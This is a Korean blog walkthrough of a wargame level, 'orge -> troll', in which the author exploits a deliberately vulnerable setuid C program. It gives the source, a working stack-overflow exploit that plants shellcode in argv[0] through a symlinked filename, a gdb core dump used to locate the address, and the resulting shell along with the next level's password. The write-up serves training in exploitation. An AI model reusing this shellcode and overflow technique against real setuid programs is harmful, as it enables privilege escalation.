LEVEL8 (orge -> troll) : check argc

argc는 argv의 개수를 체크한다는 뜻인거같은데 한번 코드를 확인해보자

[orge@localhost .izayoi]$ cat troll.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}


이번 문제는 egghunter bufferhunter에 스택영역에서의 공격 및 argv[1]의 글자수에다가[이전 문제까지의 적용.]
추가 된 부분이 argc가 2이여야 되고 argv[1]이 버퍼에 복사한 뒤에는 메모리를 비워버린단 것이다.

방법을 생각해보니깐 도저히 이 방법밖에는 안보였다.
argv[0]에 심볼릭 링크로 쉘코드를 넣고 argv[1]에서 버퍼를 채운뒤 argv[0]의 주소를 집어넣으면 될 것이다. 다행히 argv[0]에 글자수 제한은 사라졌다. 적당히 nop코드 넣고 짜면 계산 대충 해도 들어갈 것 같다.

이때 주의할 점은 기존 쉘코드를 이용할수가 없다는 것이다. 왜냐하면 \x2f같은 경우에는 문자열로 계산하면 "/"가 되게 되는데 이게 경로명 설정할때의 문자열로 인식되므로 사용할 수가 없다.
여기서의 쉘코드는
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이것으로 바꿔서 사용하겠다.

 [orge@localhost .izayoi]$ ln -s troll "`perl -e 'print "aaaa","\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
[orge@localhost .izayoi]$ ls
aaaa????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?
troll
troll.c

맨 앞에 aaaa를 넣은 이유는 tab키를 눌러서 파일 명을 편하게 치기 위함이다.
[크게 의미를 짓지는 않는다. 만약 perl로 파일명을 치고 싶다면 그냥 aaa를 제외하고 쳐도 상관이 없다.]

그리고 이제 gdb로 덤프뜨고 확인해보자.

 [orge@localhost .izayoi]$
ÿ2ÁQi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[orge@localhost .izayoi]$ gdb -c core -q
Core was generated by `./aaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbffffa78:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffa88:     0x00363836      0x61612f2e      0x90906161      0x90909090
0xbffffa98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaa8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae8:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffffaf8:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffffb08:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffffb18:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x000081ce
0xbffffb28:     0x00000000      0x00000000      0x00000000      0x00000000
...

맨 위에서는 aaa하고 탭을 누른 결과 글씨가 깨져서 그런거니 오해없길...
(./aaaa(파일명 어쩌구) `perl -e 'print "\xbf"x48'`)이런 구문이다.

개략적으로 0xbffffaa8정도를 치고 공격하자.

 Qi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x44,"\xa8\xfa\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¨úÿ¿
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

성공이다.
\x2f때문에 삽질한 것을 빼도 번거로운 문제다.[...]
Posted by john@memory :